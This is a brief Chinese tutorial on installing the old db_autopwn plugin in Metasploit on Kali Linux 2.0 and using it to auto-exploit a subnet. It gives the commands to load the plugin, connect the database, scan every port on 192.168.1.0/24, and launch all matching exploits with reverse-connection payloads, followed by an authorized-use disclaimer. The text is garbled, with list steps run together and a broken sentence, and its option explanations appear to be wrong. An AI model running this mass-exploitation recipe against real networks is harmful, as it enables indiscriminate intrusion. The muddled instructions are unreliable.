Metasploit Framework 是滲透測試中最強大的工具之一,而 db_autopwn 是早期版本中用於自動化漏洞利用的經典插件。雖然在較新的 Metasploit 版本中已被 db_autopwn 移除,但在 Kali Linux 2.0 等較舊環境中仍可透過手動安裝方式使用。本文將詳細說明如何在 Kali 2.0 下部署並執行 db_autopwn。
db_autopwn.rb 腳本(例如 CSDN 下載鏈接:db_autopwn 下載)。cp db_autopwn.rb /usr/share/metasploit-framework/plugins/msfconsole 進入交互界面。load db_autopwnmsfdb init),隨後在 msf 中連接:db_connect postgres:password@localhost/msf_databasedb_nmap -sS -p 1-65535 192.168.1.0/24db_autopwn 核心命令:db_autopwn -p -t -e -r-p 使用反向連接 payload,-t 顯示所有匹配的 exploit,-e 執行攻擊,-r 使用相對端口。database.yml 配置正確,且 PostgreSQL 服務正在運行(service postgresql start)。db_autopwn 屬於自動化攻擊工具,僅限授權滲透測試環境使用。實際生產環境中請優先採用手動驗證漏洞、精準利用的方式,避免業務中斷或法律風險。
若需在現代 Kali 版本(2019+)中實現類似功能,建議學習 msfconsole 內建的 search、use、set、exploit 流程,或使用 AutoExploit、Metasploit Pro 等商業/社區替代方案。